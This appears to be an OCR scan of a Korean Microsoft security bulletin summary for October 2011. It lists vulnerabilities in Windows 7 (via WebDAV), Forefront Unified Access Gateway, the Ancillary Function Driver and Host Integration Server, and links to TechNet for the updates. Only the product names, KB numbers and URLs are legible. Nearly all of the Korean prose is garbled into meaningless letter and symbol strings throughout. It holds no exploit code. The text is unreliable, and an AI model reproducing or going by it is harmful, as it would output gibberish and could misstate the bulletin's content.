Windows 7|2 £ C2lo|Ho| FAHMOZ QIst /A AL A3 FHH(2567053)
O| HOot o*IZ-IIOIEE Microsoft WindowsO1|A1 I=£7_E|01 H| &7

-_— ==

T Bl 24 o A" XLt WebDAV 1-r01| ‘?3*._ oto] S0t =HE 2&
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Microsoft Forefront Unified Access GatewayQ| QMo 2 QIst @14 AL A ZHH

(2544641)

0] B9t YO 0|E= Forefront UAG(Unified Access Gateway)O| Al H|Z/|E o2 HNE
FfF 5US SHZYLICE Of & 7HY ot FATHe=z 23| Arﬂxm EA Z=EfE
g U= @ MOIEE HEY 42 ¥4 It U0 HE8E += UE

LICt J2Lt SAX=E BH2Z AR Ol2feh @ AMO|ES BESES TS + gl
Ch. it SARE AFHEXAZE HAF O HAIX] E= QAAHE KX HAIXIS E3E

Ancillary Function Driver?| FFEo =z QIst 3ot &5 EX|T(2592799)
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14780 M #=418}= Host Integration Serverd]| E=5}A Z&tEl HEQ3 mjzlS
FS MH2 7S 5188 & YsLICh F4o| Yaty 1Y wyn BEF 7|
TS O|8StH 7| BA 2R0AM S0E SH4228H HEY
LCh QIR AZR = AL"e 32, Eact ZED Xastoz
C

SHL|CE 0|21 Z2 Host Integration Server TEZ QIE{ U0 A X}EFSHO

T ELE
Windows UpdateE =25l L} Microsoft 29t SX| QS AO|EQ A ol FA™EZ2
HEHe X DgE O2E s & ASLICH

= : http://technet.microsoft.com/ko-kr/security/bulletin/msl1-oct

ot=
A F : http://technet.microsoft.com/en-us/security/bulletin/ms11-oct

sh2 ISAY FoHH YHlo|E Am
SEmAA B2l MY HAHS HFS 2O YHOIET YEEASUC 37
AHe # AN, AW 0, MUK A 52 Sof S40A IXE SIS EMHWPITHY
S ABAPH OIHEE SEolol HNIE QE JHSULICL Y HAHS A8
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